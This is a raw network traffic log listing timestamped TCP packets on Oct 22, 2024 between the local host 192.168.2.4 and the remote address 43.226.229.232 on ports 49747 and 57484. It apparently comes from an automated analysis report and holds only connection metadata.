Oct 22, 2024 06:17:30.908433914 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.936352968 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.936398983 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.936455965 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.936959028 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.936997890 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.937050104 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.937747955 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.937901020 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.937939882 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.937956095 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.937956095 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.938237906 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.938508034 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.938539982 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.938576937 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.938615084 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.939374924 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.939409971 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.939503908 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.939944029 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.939976931 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.940723896 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.940761089 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.940799952 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.942704916 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.055241108 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.055339098 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.055366039 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.055406094 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.056173086 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.056238890 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.056411982 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.056451082 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.056499004 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.057205915 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.057245970 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.057282925 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.057324886 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.057326078 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.058013916 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.058051109 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.058856010 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.058891058 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.058934927 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.058934927 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.059679031 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.059716940 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.059746981 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.059896946 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.060461044 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.060497046 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.060539007 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.173798084 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.173854113 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.174026012 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.174063921 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.174257040 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.174666882 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.175065041 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.175098896 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.175158978 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.175700903 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.175736904 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.175751925 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.176541090 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.176577091 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.176637888 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.177385092 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.177419901 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.177450895 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.177463055 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.177505970 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.178214073 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.178251028 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.178293943 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.179043055 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.179079056 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.179111004 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.179122925 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.179147005 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.179526091 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.292578936 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.292670965 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.292709112 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.292823076 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.293590069 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.293644905 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.293705940 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.293925047 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.293962002 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.293973923 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.294745922 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.294783115 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.294842958 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.296705961 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.296744108 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.296761990 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.296776056 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.296811104 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.296845913 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.296863079 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.296888113 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.297017097 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.297051907 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.297832012 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.297868967 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.297890902 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.297911882 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.411190987 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.411282063 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.411336899 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.411340952 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.411889076 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.411937952 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.411938906 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.412700891 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.412759066 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.412794113 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.413196087 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.413232088 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.413240910 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.413268089 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.413312912 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.414026976 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.414062977 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.414103985 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.414865017 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.414900064 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.414932013 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.414946079 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.415679932 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.415716887 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.415734053 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.416520119 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.416554928 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.416565895 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.417293072 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.417342901 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.530021906 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.530075073 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.530112982 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.530117989 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.530658007 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.530704975 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.531064987 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.531102896 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.531145096 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.531708956 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.531744957 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.531790972 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.532533884 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.532572031 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.532604933 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.532623053 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.533364058 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.533399105 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.533413887 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.534192085 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.534226894 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.534235954 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.535038948 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.535075903 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.535092115 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.535857916 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.535893917 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.535907984 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.535928965 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.535974026 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.648607016 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.648700953 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.648741961 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.648741961 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.649354935 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.649405956 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.649759054 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.649795055 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.649837017 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.650407076 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.650441885 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.650485039 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.651292086 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.651356936 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.651401997 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.652138948 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.652174950 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.652220011 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.652887106 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.652924061 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.652956963 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.652965069 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.653734922 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.653770924 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.653779984 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.654699087 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.654736996 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.654752970 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.655388117 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.655422926 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.655456066 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.767482996 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.767534971 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.767554998 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.768033981 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.768080950 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.768085003 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.768591881 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.768641949 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.768646002 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.769224882 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.769262075 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.769273996 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.769906044 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.769941092 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.769957066 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.770545006 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.770580053 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.770589113 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.771399975 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.771436930 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.771447897 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.772224903 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.772260904 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.772270918 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.772295952 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.772341967 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.773019075 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.773055077 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.773096085 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.773885965 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.773921967 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.773971081 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.774660110 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.774694920 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.774743080 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.886045933 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.886183977 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.886220932 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.886324883 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.886631012 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.886667967 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.886679888 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.887362957 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.887399912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.887408018 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.888063908 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.888102055 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.888124943 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.888789892 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.888825893 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.888840914 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.889169931 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.889204025 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.889219999 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.889995098 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.890031099 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.890043020 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.890537024 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.890571117 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.890593052 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.891288996 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.891343117 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.891347885 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.891380072 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.891423941 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.892047882 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.892086029 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.892138958 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:31.930934906 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.931027889 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.931065083 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:31.931082010 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.004754066 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.004895926 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.004931927 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.005409956 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.005604982 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.005762100 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.006010056 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.006027937 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.006073952 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.006747961 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.006766081 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.006810904 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.007280111 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.007297039 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.007349014 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.008066893 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.008084059 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.008100033 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.008122921 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.008853912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.008869886 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.008902073 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.009613037 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.009630919 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.009664059 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.010391951 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.010410070 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.010440111 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.011132956 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.011149883 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.011188030 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.049617052 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.049683094 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.049706936 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.049746990 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.049799919 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.123413086 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.123550892 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.123586893 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.123608112 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.124079943 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.124124050 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.124136925 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.124315977 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.124353886 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.124362946 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.125226974 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.125277996 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.125283957 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.125781059 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.125818014 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.125827074 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.125854015 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.125902891 CEST	49747	57484	192.168.2.4	43.226.229.232
